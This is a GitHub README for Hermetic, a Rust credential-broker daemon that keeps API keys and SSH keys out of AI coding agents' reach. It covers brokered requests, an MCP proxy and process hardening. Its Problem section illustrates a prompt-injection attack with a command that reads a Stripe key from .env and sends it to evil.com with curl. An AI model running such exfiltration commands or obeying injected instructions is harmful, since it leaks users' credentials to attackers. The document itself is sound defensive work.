Skip to content

hermetic-sys/Hermetic

Hermetic

Your AI agent runs code as you.
Every API key on your machine is one prompt injection away.
Hermetic makes that not matter.

Website · Install · How It Works · SSH Agent · MCP Proxy · OpenClaw · Security

Rust AGPL-3.0 Linux Zero telemetry Zero deps No cloud


The Problem

Every AI coding agent — Claude Code, Cursor, Copilot, Windsurf — executes shell commands as your user. That means every API key in your .env, every token in your shell history, every credential in ~/.aws/credentials is accessible to any code the agent runs.

A prompt injection in a GitHub issue, a code comment, or an API error response can instruct the agent to:

1. Find your Stripe key        →  cat .env | grep STRIPE
2. Exfiltrate it                →  curl https://evil.com?key=$STRIPE_KEY
3. You never know               →  agent continues normally

This is not theoretical. Supply chain attacks (event-stream 2018, ua-parser-js 2021, Axios 2026) already execute credential theft under the developer's UID. AI agents make this the default attack surface.


The Solution

Hermetic is a local daemon that makes API calls on behalf of AI agents so the agent never touches your credentials.

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│   ┌───────────┐         ┌──────────────┐                   │
│   │           │  handle  │              │    HTTPS          │
│   │  AI Agent │────────▶│   Hermetic   │──────────▶  API   │
│   │           │◀────────│   Daemon     │◀──────────  Server│
│   │           │ response │              │  response         │
│   └───────────┘         └──────────────┘                   │
│                               │                             │
│        Agent memory:          │  Daemon memory:             │
│        ✗ No credential       │  ✓ Credential               │
│        ✓ Opaque handle       │  ✓ Domain binding            │
│        ✓ API response        │  ✓ Audit log                 │
│                               │                             │
└─────────────────────────────────────────────────────────────┘

The credential never enters the agent's address space. Not in memory. Not in environment variables. Not in files. Not in command output. The agent gets back the API response and nothing else.


Install

curl -sSf https://hermeticsys.com/install.sh | sh

Single static binary (Rust, no runtime dependencies). No Docker. No cloud account. No telemetry.

Requirements

  • Linux x86_64 only
  • Memory lock permission — Hermetic locks secrets in RAM to prevent swapping to disk. Most systems need:
    # Check current limit
    ulimit -l
    
    # If it shows 64 or similar (not "unlimited"), fix it:
    echo "* - memlock unlimited" | sudo tee -a /etc/security/limits.conf
    # Then log out and back in, or run:
    ulimit -l unlimited
    Without this, hermetic start will fail with "mlockall failed." This is a one-time setup.

Three Ways to Use Credentials

Most credential managers give you one option: read the secret, use it yourself. Hermetic gives you three, each with a different security guarantee.

★★★ Brokered — The Agent Never Sees It

hermetic request --secret openai_key \
  --url https://api.openai.com/v1/chat/completions \
  --method POST --body '{"model":"gpt-4","messages":[...]}'
What happens:
                                                              
  Agent          Daemon                API Server
    │               │                      │
    │──request──────▶│                      │
    │  (handle only) │──────HTTPS──────────▶│
    │               │  (credential injected)│
    │               │◀─────response─────────│
    │◀──response────│                      │
    │  (data only)   │                      │
                                                              
  Credential exposure: ZERO
  The agent never sees, holds, or transmits the key.

No other credential manager does this. 1Password CLI returns the secret to stdout. HashiCorp Vault returns it via HTTP. aws-vault injects it into env. In every case, the calling process holds the credential in memory. Hermetic is the only tool where the credential stays inside a separate daemon process.

★★ Transient — Milliseconds, Then Gone

hermetic run --secret github_pat --env-var GITHUB_TOKEN \
  -- git push origin main
What happens:

  1. Daemon resolves credential from vault
  2. Spawns child process with sanitized environment
  3. Injects credential as env var into child ONLY
  4. Child executes (git push)
  5. Child exits → credential wiped
  6. Agent gets exit code, never sees the key
                                                     
  Credential exposure: ~milliseconds (child process lifetime)
  stdout/stderr scanned — leaked credentials redacted
  Dangerous interpreters blocked by default
  Child runs in isolated, dump-protected process group

★ Direct — Your Terminal, Your Responsibility

hermetic reveal --secret stripe_key

Prints the credential to your terminal. Requires passphrase re-entry. Rate-limited. Audit-logged. For when you need to paste a key manually.


MCP Proxy — Protect Every MCP Server's Credentials

This is what no one else has built.

Every MCP server (GitHub, Slack, Jira, Notion, filesystem) requires credentials in your IDE config file:

Before: Credentials in plaintext config

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_R3aLT0k3nH3r3..."
      }
    }
  }
}

Every process on your machine can read this file. The MCP server receives the token in its environment. A compromised MCP server exfiltrates it. The agent sees it in config.

After: Credentials from Hermetic vault

{
  "mcpServers": {
    "github": {
      "command": "hermetic",
      "args": [
        "proxy", "--server", "github",
        "--credential", "GITHUB_PERSONAL_ACCESS_TOKEN:github_pat",
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  }
}
What happens:

  IDE ◀──JSON-RPC──▶ Hermetic Proxy ◀──JSON-RPC──▶ MCP Server
                          │                            │
                          │  1. Resolves credential     │
                          │     from encrypted vault    │
                          │  2. Spawns MCP server       │
                          │     with credential in env  │
                          │  3. Relays all messages     │
                          │  4. SCANS every response    │
                          │     for credential leakage  │
                          │  5. PINS tool definitions   │
                          │     (detects rug-pulls)     │
                          │  6. Enforces per-tool       │
                          │     allow/deny policy       │
                          │                            │
                     Zero credentials                   
                     in your config file                 

The proxy does six things simultaneously:

Feature What It Does Why It Matters
Credential injection Resolves secrets from vault, injects into child env No plaintext tokens in config files
Leak scanning Scans every message from server→agent for credential material Catches compromised or malicious MCP servers
Tool definition pinning Cryptographic hash of tool schemas on first connect Detects if a server changes its tools (supply chain attack)
Per-tool policy Allow/deny rules per tool name Block dangerous tools while keeping useful ones
Process isolation Child in new process group, sanitized env, dump-protected MCP server can't read parent memory
Clean shutdown Kills entire process tree on exit No orphaned server processes

SSH Agent — Your Keys Never Leave the Vault

Hermetic speaks the standard SSH agent protocol. Set SSH_AUTH_SOCK and every git push, scp, rsync, and SSH connection uses keys from the encrypted vault — without extracting them to ~/.ssh/.

# Start daemon with SSH agent
hermetic start --ssh-agent

# Source the env file (add to .bashrc/.zshrc)
source ~/.hermetic/ssh-agent.env

# Generate a key (stored in vault, never on disk)
hermetic ssh-keygen --type ed25519 --name github-ssh

# Or import an existing key
hermetic add --ssh-key ~/.ssh/id_ed25519

# Verify — your key appears
ssh-add -l
# 256 SHA256:... github-ssh (ED25519)

# Use normally — git, scp, rsync all work
git push origin main

Supported algorithms: Ed25519, RSA (SHA-256, SHA-512), ECDSA P-256. SHA-1 signing rejected.

The daemon performs all cryptographic operations internally. The SSH client connects to Hermetic's socket, requests a signature, and the daemon signs with the private key from the vault. The key bytes never enter the SSH client's memory.


How the Daemon Protects Itself

The daemon holds your most sensitive credentials. It needs to be hardened against the same agent that's trying to use those credentials.

┌─────────────────────────────────────────────────────────────┐
│  CONNECTING PROCESS                                         │
│                                                             │
│  Step 1: Binary Attestation                                │
│  ┌──────────────────────────────────────┐                  │
│  │ Daemon verifies the connecting       │                  │
│  │ binary's cryptographic hash          │                  │
│  │                                      │                  │
│  │ Python script?   → REJECTED          │                  │
│  │ Unknown binary?  → REJECTED          │                  │
│  │ Hermetic binary? → PROCEED           │                  │
│  └──────────────────────────────────────┘                  │
│                                                             │
│  Step 2: Sender Verification (every message)               │
│  ┌──────────────────────────────────────┐                  │
│  │ Kernel verifies sender identity      │                  │
│  │ on every message received            │                  │
│  │                                      │                  │
│  │ Message from wrong process?          │                  │
│  │ → SENDER MISMATCH → REJECTED        │                  │
│  └──────────────────────────────────────┘                  │
│                                                             │
│  Step 3: Token Binding                                     │
│  ┌──────────────────────────────────────┐                  │
│  │ Session token bound to originating   │                  │
│  │ process — non-transferable           │                  │
│  │                                      │                  │
│  │ Stolen token from another process?   │                  │
│  │ → PROCESS MISMATCH → REJECTED       │                  │
│  └──────────────────────────────────────┘                  │
│                                                             │
│  Result: Only the real Hermetic binary,                     │
│  from the original connection, with a                       │
│  non-transferable token, can access secrets.                │
└─────────────────────────────────────────────────────────────┘

Plus: memory locked in RAM, dump-protected, core dumps disabled, debugger detection, HTTPS-only with SSRF blocking and DNS pinning.


Quick Start

# Install
curl -sSf https://hermeticsys.com/install.sh | sh

# Create vault + add your first key
hermetic init
hermetic add --wizard

# Start daemon
hermetic start

# Make an API call — your key never leaves the daemon
hermetic request --secret openai_key \
  --url https://api.openai.com/v1/models

# Check everything is healthy
hermetic doctor

MCP Integration — One Line

hermetic mcp-config

Generates the config block for your IDE. Paste it in and every AI agent call goes through Hermetic.

{
  "mcpServers": {
    "hermetic": {
      "command": "hermetic",
      "args": ["mcp"]
    }
  }
}

The agent gets tools for brokered API calls, transient credential injection, secret listing, metadata queries, and guided secret setup — all without ever touching a credential.


OpenClaw Integration

OpenClaw

OpenClaw uses exec providers to resolve secrets at runtime. Hermetic is a drop-in exec provider — the fastest in the ecosystem.


Setup

# Option 1: Auto-configure (generates OpenClaw config + installs MCP server)
hermetic reveal --configure openclaw --install

# Option 2: Manual — add to your OpenClaw secrets config
# openclaw-secrets.yaml
secrets:
  provider: exec
  command: hermetic reveal --secret {{name}}

That's it. Every SecretRef in your OpenClaw skills now resolves through Hermetic's encrypted vault. The agent never sees the credential value.

How It Works

OpenClaw Skill                 Hermetic                      API
     │                            │                            │
     │  SecretRef("stripe_key")   │                            │
     │───exec provider───────────▶│                            │
     │                            │── reveal (passphrase-gated)│
     │◀──credential value─────────│                            │
     │                            │                            │
     │─────────────────── API call with credential ───────────▶│
     │◀────────────────── response ────────────────────────────│

Why Not Just Use .env?

.env file Hermetic exec provider
Storage Plaintext on disk AES-256-GCM encrypted vault
Access control Any process can read Passphrase-gated, audit-logged
Domain binding None Credential bound to allowed domains
Rotation Manual find-and-replace hermetic add replaces in vault
Agent visibility Agent reads .env directly Agent gets value only through exec provider
Multi-project Copy .env per project Single vault, all projects

MCP Server (Alternative to Exec Provider)

For the full ★★★ Brokered experience where the credential never leaves daemon memory:

{
  "mcpServers": {
    "hermetic": {
      "command": "hermetic",
      "args": ["mcp"]
    }
  }
}

With MCP, OpenClaw skills can use hermetic_authenticated_request instead of reading the credential — the daemon makes the HTTP call directly. The credential never enters the skill's process.


What It Blocks

Attack How Hermetic Blocks It Other Tools
Supply chain reads .env No .env needed — credentials in encrypted vault ❌ Exposed
Agent exfiltrates key to attacker domain Domain binding — credential only works with allowed domains ❌ No domain binding
Prompt injection steals from daemon socket Binary attestation — only verified binaries can connect ❌ Socket open to any same-UID process
File descriptor sharing attack on socket Per-message kernel-verified sender identity ❌ Not defended
Token stolen from process memory Process-bound tokens — different process = rejected ❌ Bearer tokens valid from any process
Memory scraping by same-UID process Process memory protected from external reads ❌ Readable by default
Core dump analysis Core dumps disabled at startup ❌ Enabled by default
Dynamic library injection Detection at startup + static build path ❌ Not checked

Why Is This 50K Lines?

Could you build "store a secret, return it" in 500 lines? Absolutely. But then any Python script on your machine can connect to the socket and grab your keys — which is exactly the problem when AI agents are running arbitrary code as your UID.

The complexity isn't the encryption. It's making sure the wrong process can't get to what's encrypted: binary attestation, per-message sender verification, process-bound tokens, credential leak scanning, tool definition pinning, SSRF blocking, DNS pinning, interpreter blocklists, and memory hardening. Each one exists because a real attack was demonstrated without it.


Community vs Pro

Community (Free) Pro ($10/mo)
All security features ✓ Full ✓ Full
★★★ Brokered requests
MCP Proxy + leak scanning
SSH Agent (Ed25519, RSA, ECDSA)
Binary attestation
Credential redaction on stdout
Secrets 10 Unlimited
Environments 1 Unlimited
OAuth2 auto-refresh
JWT signing (GCP, GitHub, Azure)
AWS SigV4 request signing
Credential health monitoring
Token usage analytics
Dashboards (TUI + web)

Security is never gated. Community and Pro run identical security code.


Verification

The system is adversarially validated: independent AI-powered red team campaigns, fuzz testing with zero crashes, mutation testing, and real-world attack simulation. Three real vulnerabilities were found and fixed during adversarial testing. The cryptographic core (this repository) is open source for independent verification.

A working exploit was discovered, reproduced against the live daemon, then permanently blocked using kernel-level defenses. The full story is in our whitepaper.


Repository Structure

This repository contains the open-source cryptographic core:

crates/hermetic-core/       — AES-256-GCM vault, Argon2id KDF, HKDF key hierarchy, audit chain
crates/hermetic-transport/  — HTTPS executor, SSRF defense, DNS pinning, auth injection

The daemon, MCP bridge, proxy, and CLI are distributed as a pre-built binary.

Building from Source

git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release

Contributing

See CONTRIBUTING.md. All contributions require a signed CLA.

License

Cryptographic core: AGPL-3.0-or-later. Commercial licenses: COMMERCIAL_LICENSE.md or license@hermeticsys.com.


The agent never sees the secret.
hermeticsys.com · security@hermeticsys.com · AGPL-3.0-or-later

About

Agent-Isolated Credential Broker for AI Agents

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors